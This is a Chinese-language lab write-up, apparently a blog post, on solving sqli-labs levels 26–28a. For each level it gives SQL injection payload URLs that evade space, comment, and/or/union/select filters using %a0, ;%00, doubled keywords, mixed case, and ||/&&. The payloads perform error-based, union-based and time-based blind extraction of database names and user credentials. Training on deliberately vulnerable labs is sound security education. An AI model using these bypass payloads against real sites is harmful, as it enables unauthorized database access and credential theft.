zoukankan      html  css  js  c++  java
  • Less26-Less28a

    Less-26:空格和and、or均被过滤

    空格过滤比较严 ,常见的--,#,//,/**/都被过滤,包括常见的 

    %09 TAB键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return功能
    %0b TAB键(垂直)
    测试只有%a0可以生效

    ?id=1 正常

    ?id=1’ --+显示错误 且没有--+

    ?id=1’ ;%00 正常   (看提示 即第二张图)

     

     

     看源码   所有or and 注释符 空格 都被替换

     

     ?id=1’ oorr ‘1’=’1  正常登录,但是双写oorr这种形式太麻烦,可以用||替代

     结果显示错误,看下面的信息知道,union select之间没有了空格

     

     解决方式:

    or可以用||替换

    and可以用&&   %26%26

    注释符用;%00替代

    空格用%a0替代

    可以试一下:?id=1’ union select 1,2,3 ;%00 

    这关我们采用报错注入

    • /?id=1‘  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || ’1‘=‘1

              使用这种方式可以得到我们的当前数据库

    • /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479)  ) ),1)  || ’1‘=‘1  

              取得表信息。

    • /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273)  ) ),1) || ’1‘=‘1

               取得字段的值

    • /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  ) ),1) || ’1‘=‘1

               取出字段的值,但是取出的值很少,不完整。

    • /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where (id=2) ) )   ,1) || ’1‘=‘1 

                    通过改变id的值可以遍历所有的数据

     

     使用union select 要使用%a0来代替空格  注释符用;%00  或者 ||’1’=’1

     

     Less-26a:  id=('1')这样包裹   盲注

    报错无法回显,但是可以用联合查询注入

    ?id=1 正常

    ?id=1’ 错误

    看源码跟第26关一样

     

     我们像第26关一样使用报错注入,结果不行,出来错误

     

     看源码,知道这关是把错误信息不给咱们打印出来,所以这关我们不能使用报错注入

     

    那我们使用union select将空格都用%a0替代进行操作就好了。(其他的都是一样的,我就不整了)

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-26a/?id=1') %a0 union%a0 select%a0 1,2,(select %a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

    Less-27:过滤union,双重过滤select,过滤空格

    1.尝试大小写混合写入

    2.使用报错语句

    3.基于时间的盲注 

    Id=1 正常

    Id=1’出来错误

    Id=1’ ;%00 正常

     

     查看源码发现select  union 注释符 空格 也都不能再用了

     

     方法一:

    既然union select 都是规矩的全是大写或者全是小写,那我们就尝试大小写混合写入

     

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00

     

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=111' %a0 uNion  %a0  sElect  %a0 1, 2,group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00  

     

     其他语句的跟之前一样

    方法二:使用报错语句

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1'    %a0  ||  %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1

     其他的都跟第26关一样的,请参考我上面第26关的语句

    方法三:使用基于时间的盲注   %26%26替代&& 表示and 意思

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  '1'='1

     

    注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  || %0a  '1'='1

    上面这种方式错误

    Less-27a:使用””包裹   其他与第27关一致

    Less-28:使用(’’)包裹    单引号、括号、注释符号、空格 union&select 被过滤

    ?id=1 正常

    ?id=1’) --+出现错误

    ?id=1’) ;%00 正常

     

     查看源码 无法使用union select联合查询  空格 注释符也都被过滤

     

     可以采用%a0代替空格的方式进行查询

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0order %a0by%a0 3;%00

     

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,3 ;%00        得回显位置

     

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00        得数据库

     

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00

     

     其他查询都跟之前的一样,请参照我之前所做的

    看源码,人家不输出错误,所以我们不能无法使用报错注入,那么时间盲注也是可行的

     

     时间盲注:

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>8, 1, sleep(5)) ;%00

     

     http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>, 1, sleep(5)) ;%00

     

     将注释符换成||’1’=(‘1 也是可以的

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>1, 1, sleep(5)) ||('1')=('1

     

     Less-28a:使用(‘’)包裹

    源码

     

     这关不像28关那样过滤了空格注释符   其他的语句跟第28关一样

  • 相关阅读:
    js运算符优先级
    整理HTML的一些基础
    NSIS学习-Push&Pop(转发)
    NSIS学习-标记
    关于python中文报错的解决办法
    JDK和JRE的区别-zz
    ZZ-selenium RC for python环境搭建
    庞果网(最小操作数)
    python win32com在读取word文档时,遇到的问题
    python 如何将ppt和word转化为txt文档
  • 原文地址:https://www.cnblogs.com/7-58/p/12253896.html
Copyright © 2011-2022 走看看